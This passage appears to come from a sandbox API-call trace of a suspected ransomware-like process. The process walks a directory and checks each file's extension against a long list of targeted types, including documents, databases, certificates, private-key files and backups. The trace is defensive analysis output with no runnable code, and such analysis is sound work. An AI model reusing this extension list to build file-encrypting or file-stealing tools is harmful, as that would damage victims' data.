[0081.228] lstrlenW (lpString=".kwm") returned 4 [0081.228] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".lasso") returned 6 [0081.228] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0081.228] lstrlenW (lpString=".lbi") returned 4 [0081.228] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".lgf") returned 4 [0081.228] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".lgp") returned 4 [0081.228] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".log") returned 4 [0081.228] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".m1v") returned 4 [0081.228] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".m4a") returned 4 [0081.228] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".m4v") returned 4 [0081.228] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".max") returned 4 [0081.228] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".md") returned 3 [0081.228] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0081.228] lstrlenW (lpString=".mda") returned 4 [0081.228] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0081.228] lstrlenW (lpString=".mdb") returned 4 [0081.228] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mde") returned 4 [0081.229] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mdf") returned 4 [0081.229] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mdw") returned 4 [0081.229] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mef") returned 4 [0081.229] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mft") returned 4 [0081.229] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mfw") returned 4 [0081.229] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mht") returned 4 [0081.229] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mhtml") returned 6 [0081.229] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0081.229] lstrlenW (lpString=".mka") returned 4 [0081.229] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mkidx") returned 6 [0081.229] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0081.229] lstrlenW (lpString=".mkv") returned 4 [0081.229] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mos") returned 4 [0081.229] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mov") returned 4 [0081.229] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0081.229] lstrlenW (lpString=".mp3") returned 4 [0081.230] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".mp4") returned 4 [0081.230] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".mpeg") returned 5 [0081.230] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0081.230] lstrlenW (lpString=".mpg") returned 4 [0081.230] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".mpv") returned 4 [0081.230] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".mrw") returned 4 [0081.230] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".msg") returned 4 [0081.230] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".mxl") returned 4 [0081.230] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".myd") returned 4 [0081.230] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".myi") returned 4 [0081.230] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".nef") returned 4 [0081.230] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".nrw") returned 4 [0081.230] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".obj") returned 4 [0081.230] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0081.230] lstrlenW (lpString=".odb") returned 4 [0081.231] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".odc") returned 4 [0081.231] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".odm") returned 4 [0081.231] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".odp") returned 4 [0081.231] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".ods") returned 4 [0081.231] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".oft") returned 4 [0081.231] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".one") returned 4 [0081.231] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".onepkg") returned 7 [0081.231] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0081.231] lstrlenW (lpString=".onetoc2") returned 8 [0081.231] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0081.231] lstrlenW (lpString=".opt") returned 4 [0081.231] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".oqy") returned 4 [0081.231] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".orf") returned 4 [0081.231] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".p12") returned 4 [0081.231] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0081.231] lstrlenW (lpString=".p7b") returned 4 [0081.458] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".p7c") returned 4 [0081.458] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pam") returned 4 [0081.458] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pbm") returned 4 [0081.458] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pct") returned 4 [0081.458] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pcx") returned 4 [0081.458] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pdd") returned 4 [0081.458] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pdf") returned 4 [0081.458] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pdp") returned 4 [0081.458] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pef") returned 4 [0081.458] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pem") returned 4 [0081.458] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pff") returned 4 [0081.458] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pfm") returned 4 [0081.458] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pfx") returned 4 [0081.458] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0081.458] lstrlenW (lpString=".pgm") returned 4 [0081.458] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0081.459] lstrlenW (lpString=".php") returned 4 [0081.459] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0081.459] lstrlenW (lpString=".php3") returned 5 [0081.459] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0081.459] lstrlenW (lpString=".php4") returned 5 [0081.459] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0081.459] lstrlenW (lpString=".php5") returned 5 [0081.459] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0081.459] lstrlenW (lpString=".phtml") returned 6 [0081.459] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0081.459] lstrlenW (lpString=".pict") returned 5 [0081.459] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0081.459] lstrlenW (lpString=".pl") returned 3 [0081.459] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0081.459] lstrlenW (lpString=".pls") returned 4 [0081.459] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0081.459] lstrlenW (lpString=".pm") returned 3 [0081.459] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0081.459] lstrlenW (lpString=".png") returned 4 [0081.459] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0081.459] lstrlenW (lpString=".pnm") returned 4 [0081.459] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0081.459] lstrlenW (lpString=".pot") returned 4 [0081.459] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0081.459] lstrlenW (lpString=".potm") returned 5 [0081.459] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0081.459] lstrlenW (lpString=".potx") returned 5 [0081.459] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0081.459] lstrlenW (lpString=".ppa") returned 4 [0081.459] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0081.459] lstrlenW (lpString=".ppam") returned 5 [0081.459] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0081.459] lstrlenW (lpString=".ppm") returned 4 [0081.459] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".pps") returned 4 [0081.460] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".ppsm") returned 5 [0081.460] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0081.460] lstrlenW (lpString=".ppt") returned 4 [0081.460] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".pptm") returned 5 [0081.460] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0081.460] lstrlenW (lpString=".pptx") returned 5 [0081.460] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0081.460] lstrlenW (lpString=".prn") returned 4 [0081.460] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".ps") returned 3 [0081.460] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0081.460] lstrlenW (lpString=".psb") returned 4 [0081.460] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".psd") returned 4 [0081.460] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".pst") returned 4 [0081.460] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".ptx") returned 4 [0081.460] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".pub") returned 4 [0081.460] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0081.460] lstrlenW (lpString=".pwm") returned 4 [0081.461] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0081.461] lstrlenW (lpString=".pxr") returned 4 [0081.461] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0081.461] lstrlenW (lpString=".py") returned 3 [0081.461] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0081.461] lstrlenW (lpString=".qt") returned 3 [0081.461] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0081.461] lstrlenW (lpString=".r3d") returned 4 [0081.461] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0081.461] lstrlenW (lpString=".raf") returned 4 [0081.461] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0081.461] lstrlenW (lpString=".rar") returned 4 [0081.461] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.461] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0081.461] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0081.461] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0081.461] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0081.461] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0081.553] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0081.553] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0081.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26 [0081.553] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260210 [0081.555] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.555] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0081.556] lstrlenW (lpString="eula.rtf") returned 8 [0081.556] lstrlenW (lpString=".1cd") returned 4 [0081.556] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.556] lstrlenW (lpString=".3ds") returned 4 [0081.556] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0081.556] lstrlenW (lpString=".3fr") returned 4 [0081.556] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0081.556] lstrlenW (lpString=".3g2") returned 4 [0081.556] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0081.556] lstrlenW (lpString=".3gp") returned 4 [0081.556] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0081.556] lstrlenW (lpString=".7z") returned 3 [0081.556] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.556] lstrlenW (lpString=".accda") returned 6 [0081.556] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0081.556] lstrlenW (lpString=".accdb") returned 6 [0081.556] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0081.556] lstrlenW (lpString=".accdc") returned 6 [0081.556] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0081.557] lstrlenW (lpString=".accde") returned 6 [0081.557] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0081.557] lstrlenW (lpString=".accdt") returned 6 [0081.557] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0081.557] lstrlenW (lpString=".accdw") returned 6 [0081.557] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0081.557] lstrlenW (lpString=".adb") returned 4 [0081.557] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".adp") returned 4 [0081.557] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".ai") returned 3 [0081.557] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0081.557] lstrlenW (lpString=".ai3") returned 4 [0081.557] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".ai4") returned 4 [0081.557] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".ai5") returned 4 [0081.557] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".ai6") returned 4 [0081.557] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".ai7") returned 4 [0081.557] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".ai8") returned 4 [0081.557] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0081.557] lstrlenW (lpString=".anim") returned 5 [0081.557] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0081.558] lstrlenW (lpString=".arw") returned 4 [0081.558] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0081.558] lstrlenW (lpString=".as") returned 3 [0081.558] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0081.558] lstrlenW (lpString=".asa") returned 4 [0081.558] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0081.558] lstrlenW (lpString=".asc") returned 4 [0081.558] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0081.559] lstrlenW (lpString=".ascx") returned 5 [0081.559] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0081.559] lstrlenW (lpString=".asm") returned 4 [0081.559] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0081.559] lstrlenW (lpString=".asmx") returned 5 [0081.559] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0081.559] lstrlenW (lpString=".asp") returned 4 [0081.559] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0081.559] lstrlenW (lpString=".aspx") returned 5 [0081.559] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0081.559] lstrlenW (lpString=".asr") returned 4 [0081.559] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0081.560] lstrlenW (lpString=".asx") returned 4 [0081.560] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0081.560] lstrlenW (lpString=".avi") returned 4 [0081.560] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0081.560] lstrlenW (lpString=".avs") returned 4 [0081.560] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0081.560] lstrlenW (lpString=".backup") returned 7 [0081.560] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0081.560] lstrlenW (lpString=".bak") returned 4 [0081.560] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0081.560] lstrlenW (lpString=".bay") returned 4 [0081.560] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0081.560] lstrlenW (lpString=".bd") returned 3 [0081.560] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0081.560] lstrlenW (lpString=".bin") returned 4 [0081.560] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0081.560] lstrlenW (lpString=".bmp") returned 4 [0081.561] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".bz2") returned 4 [0081.561] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".c") returned 2 [0081.561] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0081.561] lstrlenW (lpString=".cdr") returned 4 [0081.561] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".cer") returned 4 [0081.561] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".cf") returned 3 [0081.561] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0081.561] lstrlenW (lpString=".cfc") returned 4 [0081.561] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".cfm") returned 4 [0081.561] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".cfml") returned 5 [0081.561] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0081.561] lstrlenW (lpString=".cfu") returned 4 [0081.561] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".chm") returned 4 [0081.561] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".cin") returned 4 [0081.561] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0081.561] lstrlenW (lpString=".class") returned 6 [0081.561] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0081.561] lstrlenW (lpString=".clx") returned 4 [0081.562] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".config") returned 7 [0081.562] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0081.562] lstrlenW (lpString=".cpp") returned 4 [0081.562] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".cr2") returned 4 [0081.562] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".crt") returned 4 [0081.562] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".crw") returned 4 [0081.562] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".cs") returned 3 [0081.562] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0081.562] lstrlenW (lpString=".css") returned 4 [0081.562] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".csv") returned 4 [0081.562] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".cub") returned 4 [0081.562] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".dae") returned 4 [0081.562] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".dat") returned 4 [0081.562] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".db") returned 3 [0081.562] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0081.562] lstrlenW (lpString=".dbf") returned 4 [0081.562] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.562] lstrlenW (lpString=".dbx") returned 4 [0081.563] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".dc3") returned 4 [0081.563] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".dcm") returned 4 [0081.563] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".dcr") returned 4 [0081.563] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".der") returned 4 [0081.563] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".dib") returned 4 [0081.563] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".dic") returned 4 [0081.563] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".dif") returned 4 [0081.563] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".divx") returned 5 [0081.563] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0081.563] lstrlenW (lpString=".djvu") returned 5 [0081.563] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0081.563] lstrlenW (lpString=".dng") returned 4 [0081.563] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0081.563] lstrlenW (lpString=".doc") returned 4 [0081.564] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".docm") returned 5 [0081.564] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0081.564] lstrlenW (lpString=".docx") returned 5 [0081.564] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.564] lstrlenW (lpString=".dot") returned 4 [0081.564] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".dotm") returned 5 [0081.564] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0081.564] lstrlenW (lpString=".dotx") returned 5 [0081.564] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0081.564] lstrlenW (lpString=".dpx") returned 4 [0081.564] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".dqy") returned 4 [0081.564] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".dsn") returned 4 [0081.564] 